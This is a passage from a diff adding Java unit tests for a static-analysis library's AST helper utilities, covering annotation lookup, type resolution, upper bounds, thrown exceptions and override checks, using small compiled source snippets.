expressionHasReceiverAndType(null, "p.B"))); + } + + private Matcher expressionHasReceiverAndType( + String expectedReceiver, String expectedType) { + return Matchers.allOf( + (ExpressionTree t, VisitorState state) -> { + ExpressionTree receiver = ASTHelpers.getReceiver(t); + return expectedReceiver != null + ? receiver.toString().equals(expectedReceiver) + : receiver == null; + }, + (ExpressionTree t, VisitorState state) -> { + Type type = ASTHelpers.getReceiverType(t); + return ASTHelpers.isSameType(state.getTypeFromString(expectedType), type, state); + }); + } + + private Scanner expressionStatementMatches( + String expectedExpression, Matcher matcher) { + return new TestScanner() { + @Override + public Void visitExpressionStatement(ExpressionStatementTree node, VisitorState state) { + ExpressionTree expression = node.getExpression(); + if (expression.toString().equals(expectedExpression)) { + assertMatch(node.getExpression(), state, matcher); + setAssertionsComplete(); + } + return super.visitExpressionStatement(node, state); + } + }; + } + + @Test + public void annotationHelpers() { + writeFile( + "com/google/errorprone/util/InheritedAnnotation.java", + """ + package com.google.errorprone.util; + import java.lang.annotation.Inherited; + @Inherited + public @interface InheritedAnnotation {} + """); + writeFile( + "B.java", + """ + import com.google.errorprone.util.InheritedAnnotation; + @InheritedAnnotation + public class B {} + """); + writeFile("C.java", "public class C extends B {}"); + + TestScanner scanner = + new TestScanner() { + @Override + public Void visitClass(ClassTree tree, VisitorState state) { + if (tree.getSimpleName().contentEquals("C")) { + assertMatch( + tree, + state, + new Matcher() { + @Override + public boolean matches(ClassTree t, VisitorState state) { + return ASTHelpers.hasAnnotation(t, InheritedAnnotation.class, state); + } + }); + setAssertionsComplete(); + } + return super.visitClass(tree, state); + } + }; + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void annotationHelpersWrongValueCached() { + writeFile("D.java", "public class D{}"); + + TestScanner scanner = + new TestScanner() { + @Override + public Void visitClass(ClassTree tree, VisitorState state) { + if (tree.getSimpleName().contentEquals("D")) { + assertThat( + ASTHelpers.hasAnnotation( + tree, "TestAnnotation", state.withPath(getCurrentPath()))) + .isFalse(); + setAssertionsComplete(); + } + return super.visitClass(tree, state); + } + }; + tests.add(scanner); + assertCompiles(scanner); + + writeFile( + "TestAnnotation.java", + """ + import java.lang.annotation.Inherited; + @Inherited + public @interface TestAnnotation {} + """); + writeFile( + "B.java", + """ + @TestAnnotation + public class B {} + """); + writeFile("C.java", "public class C extends B {}"); + + TestScanner scannerWithAnnotation = + new TestScanner() { + @Override + public Void visitClass(ClassTree tree, VisitorState state) { + if (tree.getSimpleName().contentEquals("C")) { + assertMatch( + tree, + state, + new Matcher() { + @Override + public boolean matches(ClassTree t, VisitorState state) { + return ASTHelpers.hasAnnotation(t, "TestAnnotation", state); + } + }); + setAssertionsComplete(); + } + return super.visitClass(tree, state); + } + }; + tests.add(scannerWithAnnotation); + assertCompiles(scannerWithAnnotation); + } + + @Test + public void inheritedMethodAnnotation() { + writeFile( + "com/google/errorprone/util/InheritedAnnotation.java", + """ + package com.google.errorprone.util; + import java.lang.annotation.Inherited; + @Inherited + public @interface InheritedAnnotation {} + """); + writeFile( + "B.java", + """ + import com.google.errorprone.util.InheritedAnnotation; + public class B { + @InheritedAnnotation + void f() {} + } + """); + writeFile("C.java", "public class C extends B {}"); + + TestScanner scanner = + new TestScanner() { + @Override + public Void visitMethod(MethodTree tree, VisitorState state) { + if (tree.getName().contentEquals("f")) { + assertMatch( + tree, + state, + (MethodTree t, VisitorState s) -> + ASTHelpers.hasAnnotation(t, InheritedAnnotation.class, s)); + setAssertionsComplete(); + } + return super.visitMethod(tree, state); + } + }; + tests.add(scanner); + assertCompiles(scanner); + } + + // verify that hasAnnotation(Symbol, String, VisitorState) uses binary names for inner classes + @Test + public void innerAnnotationType() { + writeFile( + "test/Lib.java", + """ + package test; + public class Lib { + public @interface MyAnnotation {} + } + """); + writeFile( + "test/Test.java", + """ + package test; + import test.Lib.MyAnnotation; + @MyAnnotation + public class Test {} + """); + + TestScanner scanner = + new TestScanner() { + @Override + public Void visitClass(ClassTree tree, VisitorState state) { + if (tree.getSimpleName().contentEquals("Test")) { + assertMatch( + tree, + state, + new Matcher() { + @Override + public boolean matches(ClassTree t, VisitorState state) { + return ASTHelpers.hasAnnotation( + ASTHelpers.getSymbol(t), "test.Lib$MyAnnotation", state); + } + }); + setAssertionsComplete(); + } + return super.visitClass(tree, state); + } + }; + tests.add(scanner); + assertCompiles(scanner); + } + + /* Tests for ASTHelpers#getType */ + + @Test + public void getTypeOnNestedAnnotationType() { + writeFile( + "A.java", + """ + public class A { + @B.MyAnnotation + public void bar() {} + } + """); + writeFile( + "B.java", + """ + public class B { + @interface MyAnnotation {} + } + """); + TestScanner scanner = + new TestScanner() { + @Override + public Void visitAnnotation(AnnotationTree tree, VisitorState state) { + setAssertionsComplete(); + assertThat(ASTHelpers.getType(tree.getAnnotationType()).toString()) + .isEqualTo("B.MyAnnotation"); + return super.visitAnnotation(tree, state); + } + }; + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void getTypeOnNestedClassType() { + writeFile( + "A.java", + """ + public class A { + public void bar() { + B.C foo; + } + } + """); + writeFile( + "B.java", + """ + public class B { + public static class C {} + } + """); + TestScanner scanner = + new TestScanner() { + @Override + public Void visitVariable(VariableTree tree, VisitorState state) { + setAssertionsComplete(); + assertThat(ASTHelpers.getType(tree.getType()).toString()).isEqualTo("B.C"); + return super.visitVariable(tree, state); + } + }; + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void enclosingElements() { + writeFile( + "Outer.java", + """ + package com.google.test; + public class Outer { + static class Middle { + private class Inner { + int foo() {int x = 1; return x;} + } + } + } + """); + TestScanner scanner = + new TestScanner() { + @Override + public Void visitVariable(VariableTree variable, VisitorState state) { + setAssertionsComplete(); + assertThat( + ASTHelpers.enclosingElements(ASTHelpers.getSymbol(variable)) + .map(sym -> sym.getSimpleName().toString())) + .containsExactly( + "x", "foo", "Inner", "Middle", "Outer", + "test", /* the ModuleSymbol for the unnamed module */ "") + .inOrder(); + return super.visitVariable(variable, state); + } + }; + + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void getTypeOnParameterizedType() { + writeFile( + "Pair.java", + """ + public class Pair { + public A first; + public B second; + } + """); + writeFile( + "Test.java", + """ + public class Test { + public Integer doSomething(Pair pair) { + return pair.first; + } + } + """); + TestScanner scanner = + new TestScanner() { + @Override + public Void visitReturn(ReturnTree tree, VisitorState state) { + setAssertionsComplete(); + assertThat(ASTHelpers.getType(tree.getExpression()).toString()) + .isEqualTo("java.lang.Integer"); + return super.visitReturn(tree, state); + } + }; + tests.add(scanner); + assertCompiles(scanner); + } + + /* Tests for ASTHelpers#isCheckedExceptionType */ + + private TestScanner isCheckedExceptionTypeScanner(boolean expectChecked) { + return new TestScanner() { + @Override + public Void visitMethod(MethodTree tree, VisitorState state) { + setAssertionsComplete(); + List throwz = tree.getThrows(); + + for (ExpressionTree expr : throwz) { + Type exType = ASTHelpers.getType(expr); + assertThat(ASTHelpers.isCheckedExceptionType(exType, state)).isEqualTo(expectChecked); + } + return super.visitMethod(tree, state); + } + }; + } + + @Test + public void isCheckedExceptionType_yes() { + writeFile( + "A.java", + """ + import java.text.ParseException; + public class A { + static class MyException extends Exception {} + void foo() throws Exception, ParseException {} + } + """); + TestScanner scanner = isCheckedExceptionTypeScanner(true); + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void isCheckedExceptionType_no() { + writeFile( + "A.java", + """ + public class A { + static class MyException extends RuntimeException {} + void foo() throws RuntimeException, IllegalArgumentException, MyException, + Error, VerifyError {} + } + """); + TestScanner scanner = isCheckedExceptionTypeScanner(false); + tests.add(scanner); + assertCompiles(scanner); + } + + /* Tests for ASTHelpers#getUpperBound */ + + private TestScanner getUpperBoundScanner(String expectedBound) { + return new TestScanner() { + @Override + public Void visitVariable(VariableTree tree, VisitorState state) { + setAssertionsComplete(); + Type varType = ASTHelpers.getType(tree.getType()); + assertThat( + ASTHelpers.getUpperBound(varType.getTypeArguments().get(0), state.getTypes()) + .toString()) + .isEqualTo(expectedBound); + return super.visitVariable(tree, state); + } + }; + } + + @Test + public void getUpperBoundConcreteType() { + writeFile( + "A.java", + """ + import java.lang.Number; + import java.util.List; + public class A { + public List myList; + } + """); + TestScanner scanner = getUpperBoundScanner("java.lang.Number"); + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void getUpperBoundUpperBoundedWildcard() { + writeFile( + "A.java", + """ + import java.lang.Number; + import java.util.List; + public class A { + public List myList; + } + """); + TestScanner scanner = getUpperBoundScanner("java.lang.Number"); + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void getUpperBoundUnboundedWildcard() { + writeFile( + "A.java", + """ + import java.util.List; + public class A { + public List myList; + } + """); + TestScanner scanner = getUpperBoundScanner("java.lang.Object"); + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void getUpperBoundLowerBoundedWildcard() { + writeFile( + "A.java", + """ + import java.lang.Number; + import java.util.List; + public class A { + public List myList; + } + """); + TestScanner scanner = getUpperBoundScanner("java.lang.Object"); + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void getUpperBoundTypeVariable() { + writeFile( + "A.java", + """ + import java.util.List; + public class A { + public List myList; + } + """); + TestScanner scanner = getUpperBoundScanner("java.lang.Object"); + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void getUpperBoundCapturedTypeVariable() { + writeFile( + "A.java", + """ + import java.lang.Number; + import java.util.List; + public class A { + public void doSomething(List list) { + list.get(0); + } + } + """); + TestScanner scanner = + new TestScanner() { + @Override + public Void visitMethodInvocation(MethodInvocationTree tree, VisitorState state) { + if (!tree.toString().equals("super()")) { // ignore synthetic super call + setAssertionsComplete(); + Type type = ASTHelpers.getType(tree); + assertThat(type).isInstanceOf(TypeVar.class); + assertThat(((TypeVar) type).isCaptured()).isTrue(); + assertThat(ASTHelpers.getUpperBound(type, state.getTypes()).toString()) + .isEqualTo("java.lang.Number"); + } + return super.visitMethodInvocation(tree, state); + } + }; + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void commentTokens() { + writeFile( + "A.java", + """ + public class A { + Runnable theRunnable = new Runnable() { + /** + * foo + */ + public void run() { + /* bar1 */ + /* bar2 */ + System.err.println("Hi"); + } + // baz number 1 + // baz number 2 + }; + } + """); + TestScanner scanner = + new TestScanner() { + @Override + public Void visitNewClass(NewClassTree tree, VisitorState state) { + setAssertionsComplete(); + List comments = new ArrayList<>(); + int startPos = getStartPosition(tree); + for (ErrorProneToken t : state.getOffsetTokensForNode(tree)) { + if (!t.comments().isEmpty()) { + for (ErrorProneComment c : t.comments()) { + Verify.verify(c.getSourcePos(0) >= startPos); + comments.add(c.getText()); + } + } + } + assertThat(comments) + .containsExactly( + "/**\n * foo\n */", + "/* bar1 */", + "/* bar2 */", + "// baz number 1", + "// baz number 2") + .inOrder(); + return super.visitNewClass(tree, state); + } + }; + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void hasDirectAnnotationWithSimpleName() { + writeFile( + "A.java", + """ + public class A { + @Deprecated public void doIt() {} + } + """); + TestScanner scanner = + new TestScanner() { + @Override + public Void visitMethod(MethodTree tree, VisitorState state) { + if (tree.getName().contentEquals("doIt")) { + setAssertionsComplete(); + Symbol sym = ASTHelpers.getSymbol(tree); + assertThat(ASTHelpers.hasDirectAnnotationWithSimpleName(sym, "Deprecated")).isTrue(); + assertThat(ASTHelpers.hasDirectAnnotationWithSimpleName(sym, "Nullable")).isFalse(); + } + return super.visitMethod(tree, state); + } + }; + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void getAnnotationsWithSimpleName() { + writeFile( + "com/google/errorprone/util/RepeatableAnnotations.java", + """ + package com.google.errorprone.util; + public @interface RepeatableAnnotations {RepeatableAnnotation[] value();} + """); + writeFile( + "com/google/errorprone/util/RepeatableAnnotation.java", + """ + package com.google.errorprone.util; + import java.lang.annotation.Repeatable; + @Repeatable(RepeatableAnnotations.class) + public @interface RepeatableAnnotation {} + """); + writeFile( + "A.java", + """ + import com.google.errorprone.util.RepeatableAnnotation; + public class A { + @RepeatableAnnotation + @RepeatableAnnotation + public void bar() {} + } + """); + TestScanner scanner = + new TestScanner() { + @Override + public Void visitMethod(MethodTree tree, VisitorState state) { + if (tree.getName().contentEquals("bar")) { + setAssertionsComplete(); + assertThat( + ASTHelpers.getAnnotationsWithSimpleName( + tree.getModifiers().getAnnotations(), "RepeatableAnnotation")) + .hasSize(2); + } + return super.visitMethod(tree, state); + } + }; + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void hasAnnotationOnMethodInvocation() { + writeFile( + "A.java", + """ + public class A { + @Deprecated public void doIt() {} + void caller() { doIt(); } + } + """); + TestScanner scanner = + new TestScanner() { + @Override + public Void visitMethodInvocation(MethodInvocationTree tree, VisitorState state) { + if (ASTHelpers.getSymbol(tree).toString().equals("doIt()")) { + setAssertionsComplete(); + assertThat(ASTHelpers.hasAnnotation(tree, Deprecated.class, state)).isFalse(); + } + return super.visitMethodInvocation(tree, state); + } + }; + tests.add(scanner); + assertCompiles(scanner); + } + + /** + * Test checker to ensure that ASTHelpers.hasDirectAnnotationWithSimpleName() does require the + * annotation symbol to be on the classpath. + */ + @BugPattern( + severity = SeverityLevel.ERROR, + summary = + "Test checker to ensure that ASTHelpers.hasDirectAnnotationWithSimpleName() " + + "does require the annotation symbol to be on the classpath") + public static class HasDirectAnnotationWithSimpleNameChecker extends BugChecker + implements MethodInvocationTreeMatcher { + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + if (ASTHelpers.hasDirectAnnotationWithSimpleName( + ASTHelpers.getSymbol(tree), "CheckReturnValue")) { + return describeMatch(tree); + } + return Description.NO_MATCH; + } + } + + /** Test class containing a method annotated with a custom @CheckReturnValue. */ + public static final class CustomCRVTest { + /** A custom @CRV annotation. */ + @Retention(RetentionPolicy.RUNTIME) + public @interface CheckReturnValue {} + + @CheckReturnValue + public static String hello() { + return "Hello!"; + } + + private CustomCRVTest() {} + } + + @Test + public void hasDirectAnnotationWithSimpleNameWithoutAnnotationOnClasspath() { + CompilationTestHelper.newInstance(HasDirectAnnotationWithSimpleNameChecker.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + void m() { + // BUG: Diagnostic contains: + com.google.errorprone.util.ASTHelpersTest.CustomCRVTest.hello(); + } + } + """) + .withClasspath(CustomCRVTest.class, ASTHelpersTest.class, CompilerBasedAbstractTest.class) + .doTest(); + } + + /* Tests inSamePackage. */ + + private TestScanner inSamePackageScanner(boolean expectedBoolean) { + return new TestScanner() { + @Override + public Void visitMemberSelect(MemberSelectTree tree, VisitorState state) { + setAssertionsComplete(); + Symbol targetSymbol = ASTHelpers.getSymbol(tree); + assertThat(ASTHelpers.inSamePackage(targetSymbol, state)).isEqualTo(expectedBoolean); + return super.visitMemberSelect(tree, state); + } + }; + } + + @Test + public void samePackagePositive() { + writeFile( + "A.java", + """ + package p; + public class A { + public static final String BAR = "BAR"; + } + """); + writeFile( + "B.java", + """ + package p; + public class B { + public String bar() { + return A.BAR; + } + } + """); + TestScanner scanner = inSamePackageScanner(true); + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void samePackageNegative() { + writeFile( + "A.java", + """ + package p; + public class A { + public static final String BAR = "BAR"; + } + """); + writeFile( + "B.java", + """ + package q; + import p.A; + public class B { + public String bar() { + return A.BAR; + } + } + """); + TestScanner scanner = inSamePackageScanner(false); + tests.add(scanner); + assertCompiles(scanner); + } + + /* Test infrastructure */ + + private abstract static class TestScanner extends Scanner { + private boolean assertionsComplete = false; + + /** + * Subclasses of {@link TestScanner} are expected to call this method within their overridden + * visitXYZ() method in order to verify that the method has run at least once. + */ + protected void setAssertionsComplete() { + this.assertionsComplete = true; + } + + void assertMatch(T node, VisitorState visitorState, Matcher matcher) { + VisitorState state = visitorState.withPath(getCurrentPath()); + assertThat(matcher.matches(node, state)).isTrue(); + } + + public void verifyAssertionsComplete() { + assertWithMessage("Expected the visitor to call setAssertionsComplete().") + .that(assertionsComplete) + .isTrue(); + } + } + + /** A checker that reports the constant value of fields. */ + @BugPattern(summary = "", severity = ERROR) + public static class ConstChecker extends BugChecker implements VariableTreeMatcher { + @Override + public Description matchVariable(VariableTree tree, VisitorState state) { + Object value = ASTHelpers.constValue(tree.getInitializer()); + return buildDescription(tree) + .setMessage(String.format("%s(%s)", value.getClass().getSimpleName(), value)) + .build(); + } + } + + @Test + public void constValue() { + CompilationTestHelper.newInstance(ConstChecker.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + // BUG: Diagnostic contains: Integer(42) + static final int A = 42; + // BUG: Diagnostic contains: Boolean(false) + static final boolean B = false; + } + """) + .doTest(); + } + + /** A {@link BugChecker} that prints the result type of the first argument in method calls. */ + @BugPattern( + severity = SeverityLevel.ERROR, + summary = "Prints the type of the first argument in method calls") + public static class PrintResultTypeOfFirstArgument extends BugChecker + implements MethodInvocationTreeMatcher { + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + List arguments = tree.getArguments(); + if (arguments.isEmpty()) { + return Description.NO_MATCH; + } + return buildDescription(tree) + .setMessage(ASTHelpers.getResultType(Iterables.getFirst(arguments, null)).toString()) + .build(); + } + } + + @Test + public void getResultType_findsConcreteType_withGenericMethodCall() { + CompilationTestHelper.newInstance(PrintResultTypeOfFirstArgument.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract T get(T obj); + abstract void target(Object param); + private void test() { + // BUG: Diagnostic contains: java.lang.Integer + target(get(1)); + } + } + """) + .doTest(); + } + + @Test + public void getResultType_findsIntType_withPrimitiveInt() { + CompilationTestHelper.newInstance(PrintResultTypeOfFirstArgument.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(int i); + private void test(int j) { + // BUG: Diagnostic contains: int + target(j); + } + } + """) + .doTest(); + } + + @Test + public void getResultType_findsConstructedType_withConstructor() { + CompilationTestHelper.newInstance(PrintResultTypeOfFirstArgument.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(String s); + private void test() { + // BUG: Diagnostic contains: java.lang.String + target(new String()); + } + } + """) + .doTest(); + } + + @Test + public void getResultType_findsNullType_withNull() { + CompilationTestHelper.newInstance(PrintResultTypeOfFirstArgument.class, getClass()) + .addSourceLines( + "Test.java", + """ + abstract class Test { + abstract void target(String s); + private void test() { + // BUG: Diagnostic contains: + target(null); + } + } + """) + .doTest(); + } + + @Test + public void getResultType_findsConcreteType_withGenericConstructorCall() { + CompilationTestHelper.newInstance(PrintResultTypeOfFirstArgument.class, getClass()) + .addSourceLines( + "Test.java", + """ + class GenericTest {} + abstract class Test { + abstract void target(Object param); + private void test() { + // BUG: Diagnostic contains: GenericTest + target(new GenericTest()); + } + } + """) + .doTest(); + } + + /** A {@link BugChecker} that prints the target type of matched method invocations. */ + @BugPattern(severity = SeverityLevel.ERROR, summary = "Prints the target type") + public static class TargetTypeChecker extends BugChecker + implements MethodInvocationTreeMatcher, IdentifierTreeMatcher { + private static final Matcher METHOD_MATCHER = + MethodMatchers.staticMethod().anyClass().withNameMatching(Pattern.compile("^detect.*")); + + private static final Matcher LOCAL_VARIABLE_MATCHER = + ((identifierTree, state) -> { + Symbol symbol = ASTHelpers.getSymbol(identifierTree); + return symbol != null + && symbol.getKind() == ElementKind.LOCAL_VARIABLE + && identifierTree.getName().toString().matches("detect.*"); + }); + + @Override + public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) { + if (!METHOD_MATCHER.matches(tree, state)) { + return Description.NO_MATCH; + } + TargetType targetType = ASTHelpers.targetType(state); + return buildDescription(tree) + .setMessage(String.valueOf(targetType != null ? targetType.type() : null)) + .build(); + } + + @Override + public Description matchIdentifier(IdentifierTree tree, VisitorState state) { + if (!LOCAL_VARIABLE_MATCHER.matches(tree, state)) { + return Description.NO_MATCH; + } + TargetType targetType = ASTHelpers.targetType(state); + return buildDescription(tree) + .setMessage(String.valueOf(targetType != null ? targetType.type() : null)) + .build(); + } + } + + @Test + public void targetType() { + CompilationTestHelper.newInstance(TargetTypeChecker.class, getClass()) + .addSourceFile("testdata/TargetTypeTest.java") + .setArgs(ImmutableList.of("-Xmaxerrs", "200", "-Xmaxwarns", "200")) + .doTest(); + } + + /** A {@link BugChecker} that prints the target type of a parameterized type. */ + @BugPattern( + severity = SeverityLevel.ERROR, + summary = + "Prints the target type for ParameterizedTypeTree, which is not handled explicitly.") + public static class TargetTypeCheckerParentTypeNotMatched extends BugChecker + implements ParameterizedTypeTreeMatcher { + + @Override + public Description matchParameterizedType(ParameterizedTypeTree tree, VisitorState state) { + TargetType targetType = ASTHelpers.targetType(state); + return buildDescription(tree) + .setMessage( + "Target type of " + + state.getSourceForNode(tree) + + " is " + + (targetType != null ? targetType.type() : null)) + .build(); + } + } + + @Test + public void targetType_parentTypeNotMatched() { + // Make sure that the method isn't implemented in the visitor; that would make this test + // meaningless. + List methodNames = + Arrays.stream(TargetTypeVisitor.class.getDeclaredMethods()) + .map(Method::getName) + .collect(Collectors.toList()); + assertThat(methodNames).doesNotContain("visitParameterizedType"); + + CompilationTestHelper.newInstance(TargetTypeCheckerParentTypeNotMatched.class, getClass()) + .addSourceLines( + "Test.java", + """ + import java.util.ArrayList; + class Foo { + // BUG: Diagnostic contains: Target type of ArrayList is null + Object obj = new ArrayList() { + int foo() { return 0; } + }; + } + """) + .expectResult(Result.ERROR) + .doTest(); + } + + @Target(TYPE_USE) + @interface A { + int value(); + } + + @Target({METHOD, FIELD, LOCAL_VARIABLE, PARAMETER}) + @interface B { + String value(); + } + + @interface ExpectedAnnotation { + String expected(); + + Target target(); + } + + /** A {@link Lib}rary for testing. */ + public static class Lib { + @B("one") + volatile Map.@A(1) Entry<@A(2) ?, ? extends @A(3) Object> field; + + @B("two") + Map.@A(4) Entry<@A(5) ?, ? extends @A(6) Object> method( + @B("three") Map.@A(7) Entry<@A(8) ?, ? extends @A(9) Object> param1, + @B("four") @A(11) Object @A(10) [] param2) { + return null; + } + } + + @Test + public void getDeclarationAndTypeAttributesTest() { + BasicJavacTask tool = + (BasicJavacTask) JavacTool.create().getTask(null, null, null, null, null, null); + ClassSymbol element = + JavacElements.instance(tool.getContext()).getTypeElement(Lib.class.getCanonicalName()); + VarSymbol field = + (VarSymbol) + element.getEnclosedElements().stream() + .filter(e -> e.getSimpleName().contentEquals("field")) + .findAny() + .get(); + assertThat(ASTHelpers.getDeclarationAndTypeAttributes(field).map(String::valueOf)) + .containsExactly( + "@com.google.errorprone.util.ASTHelpersTest.B(\"one\")", + "@com.google.errorprone.util.ASTHelpersTest.A(1)"); + + MethodSymbol method = + (MethodSymbol) + element.getEnclosedElements().stream() + .filter(e -> e.getSimpleName().contentEquals("method")) + .findAny() + .get(); + assertThat(ASTHelpers.getDeclarationAndTypeAttributes(method).map(String::valueOf)) + .containsExactly( + "@com.google.errorprone.util.ASTHelpersTest.B(\"two\")", + "@com.google.errorprone.util.ASTHelpersTest.A(4)"); + assertThat( + ASTHelpers.getDeclarationAndTypeAttributes(method.getParameters().get(0)) + .map(String::valueOf)) + .containsExactly( + "@com.google.errorprone.util.ASTHelpersTest.B(\"three\")", + "@com.google.errorprone.util.ASTHelpersTest.A(7)"); + assertThat( + ASTHelpers.getDeclarationAndTypeAttributes(method.getParameters().get(1)) + .map(String::valueOf)) + .containsExactly( + "@com.google.errorprone.util.ASTHelpersTest.B(\"four\")", + "@com.google.errorprone.util.ASTHelpersTest.A(10)"); + } + + /** A {@link BugChecker} that prints if the method can be overridden. */ + @BugPattern( + severity = SeverityLevel.ERROR, + summary = "Prints whether the method can be overridden.") + public static class MethodCanBeOverriddenChecker extends BugChecker implements MethodTreeMatcher { + @Override + public Description matchMethod(MethodTree tree, VisitorState state) { + boolean methodCanBeOverridden = ASTHelpers.methodCanBeOverridden(ASTHelpers.getSymbol(tree)); + String description = methodCanBeOverridden ? "Can be overridden" : "Cannot be overridden"; + return describeMatch(tree, SuggestedFix.prefixWith(tree, "/* " + description + " */\n")); + } + } + + @Test + public void methodCanBeOverridden_class() { + CompilationTestHelper.newInstance(MethodCanBeOverriddenChecker.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + // BUG: Diagnostic contains: Cannot be overridden + Test() {} + + // BUG: Diagnostic contains: Can be overridden + void canBeOverridden() {} + + // BUG: Diagnostic contains: Cannot be overridden + final void cannotBeOverriddenBecauseFinal() {} + + // BUG: Diagnostic contains: Cannot be overridden + static void cannotBeOverriddenBecauseStatic() {} + + // BUG: Diagnostic contains: Cannot be overridden + private void cannotBeOverriddenBecausePrivate() {} + } + """) + .doTest(); + } + + @Test + public void methodCanBeOverridden_interface() { + CompilationTestHelper.newInstance(MethodCanBeOverriddenChecker.class, getClass()) + .addSourceLines( + "Test.java", + """ + interface Test { + // BUG: Diagnostic contains: Can be overridden + void canBeOverridden(); + + // BUG: Diagnostic contains: Can be overridden + default void defaultCanBeOverridden() {} + + // BUG: Diagnostic contains: Cannot be overridden + static void cannotBeOverriddenBecauseStatic() {} + } + """) + .doTest(); + } + + @Test + public void methodCanBeOverridden_enum() { + CompilationTestHelper.newInstance(MethodCanBeOverriddenChecker.class, getClass()) + .addSourceLines( + "Test.java", + """ + enum Test { + VALUE { + // BUG: Diagnostic contains: Cannot be overridden + @Override void abstractCanBeOverridden() {} + + // BUG: Diagnostic contains: Cannot be overridden + void declaredOnlyInValue() {} + }; + + // BUG: Diagnostic contains: Can be overridden + abstract void abstractCanBeOverridden(); + + // BUG: Diagnostic contains: Can be overridden + void canBeOverridden() {} + } + """) + .doTest(); + } + + @Test + public void methodCanBeOverridden_anonymous() { + CompilationTestHelper.newInstance(MethodCanBeOverriddenChecker.class, getClass()) + .addSourceLines( + "Test.java", + """ + class Test { + Object obj = new Object() { + // BUG: Diagnostic contains: Cannot be overridden + void inAnonymousClass() {} + }; + } + """) + .doTest(); + } + + @Test + public void deprecatedClassDeclaration() { + writeFile( + "A.java", + """ + @Deprecated + public class A { + } + """); + TestScanner scanner = + new TestScanner() { + @Override + public Void visitClass(ClassTree node, VisitorState visitorState) { + // we specifically want to test getSymbol(Tree), not getSymbol(ClassTree) + Tree tree = node; + assertThat(ASTHelpers.getSymbol(tree).isDeprecated()).isTrue(); + setAssertionsComplete(); + return super.visitClass(node, visitorState); + } + }; + tests.add(scanner); + assertCompiles(scanner); + } + + @Test + public void outermostclass_dotClass() { + writeFile( + "Foo.java", + """ + class Foo { + void f() { + Object unused = boolean.class; + } + } + """); + + TestScanner scanner = + new TestScanner() { + @Override + public Void visitMemberSelect(MemberSelectTree tree, VisitorState state) { + Symbol targetSymbol = ASTHelpers.getSymbol(tree); + // ASTHelpers#outermostClass shouldn't itself NPE + assertThat(ASTHelpers.outermostClass(targetSymbol)).isNull(); + setAssertionsComplete(); + return super.visitMemberSelect(tree, state); + } + }; + tests.add(scanner); + + assertCompiles(scanner); + } + + /** Replaces all throws clauses with more specific exceptions. */ + @BugPattern( + summary = "Replaces all throws clauses with more specific exceptions.", + severity = WARNING) + public static final class ReplaceWithExceptions extends BugChecker implements MethodTreeMatcher { + @Override + public Description matchMethod(MethodTree tree, VisitorState state) { + return buildDescription(tree) + .setMessage( + ASTHelpers.getThrownExceptions(tree.getBody(), state).stream() + .map(t -> t.tsym.getSimpleName().toString()) + .sorted() + .collect(joining(" ", "[", "]"))) + .build(); + } + } + + private final CompilationTestHelper replaceExceptionHelper = + CompilationTestHelper.newInstance(ReplaceWithExceptions.class, getClass()); + + @Test + public void getThrownExceptions_trivialThrow() { + replaceExceptionHelper + .addSourceLines( + "Test.java", + """ + class Test { + // BUG: Diagnostic contains: [IllegalStateException] + void test() throws Exception { + throw new IllegalStateException(); + } + } + """) + .doTest(); + } + + @Test + public void getThrownExceptions_caught() { + replaceExceptionHelper + .addSourceLines( + "Test.java", + """ + class Test { + // BUG: Diagnostic contains: [] + void test() throws Exception { + try { + throw new IllegalStateException(); + } catch (Exception e) {} + } + } + """) + .doTest(); + } + + @Test + public void getThrownExceptions_caughtAndRethrown() { + replaceExceptionHelper + .addSourceLines( + "Test.java", + """ + class Test { + // BUG: Diagnostic contains: [IllegalStateException] + void test() throws Exception { + try { + throw new IllegalStateException(); + } catch (Exception e) { + throw e; + } + } + } + """) + .doTest(); + } + + @Test + public void getThrownExceptions_genericThrow() { + replaceExceptionHelper + .addSourceLines( + "Test.java", + """ + class Test { + // BUG: Diagnostic contains: [IllegalStateException] + int test(java.util.Optional x) { + return x.orElseThrow(() -> new IllegalStateException()); + } + } + """) + .doTest(); + } + + @Test + public void getThrownExceptions_rethrown() { + replaceExceptionHelper + .addSourceLines( + "Test.java", + """ + class Test { + // BUG: Diagnostic contains: [InterruptedException] + void test() throws Exception { + try { + test(); + } catch (InterruptedException e) { + throw e; + } catch (Exception e) {} + } + } + """) + .doTest(); + } + + @Test + public void getThrownExceptions_rethrownUnion() { + replaceExceptionHelper + .addSourceLines( + "Test.java", + """ +import java.util.concurrent.Callable; +import java.io.FileNotFoundException; +import java.io.UnsupportedEncodingException; +class Test { + // BUG: Diagnostic contains: [FileNotFoundException UnsupportedEncodingException] + void test(Callable c) throws FileNotFoundException, UnsupportedEncodingException { + try { + if (hashCode() == 1) { + throw new FileNotFoundException("File not found"); + } + c.call(); + } catch (FileNotFoundException | UnsupportedEncodingException e) { + throw e; + } catch (Exception e) { + return; + } + } +} +""") + .doTest(); + } + + @Test + public void getThrownExceptions_tryWithResources() { + replaceExceptionHelper + .addSourceLines( + "Test.java", + """ + abstract class Test { + // BUG: Diagnostic contains: [InterruptedException] + void test() throws Exception { + try (var x = c()) {} + } + // BUG: Diagnostic contains: + abstract C c(); + abstract class C implements AutoCloseable { + // BUG: Diagnostic contains: + @Override public abstract 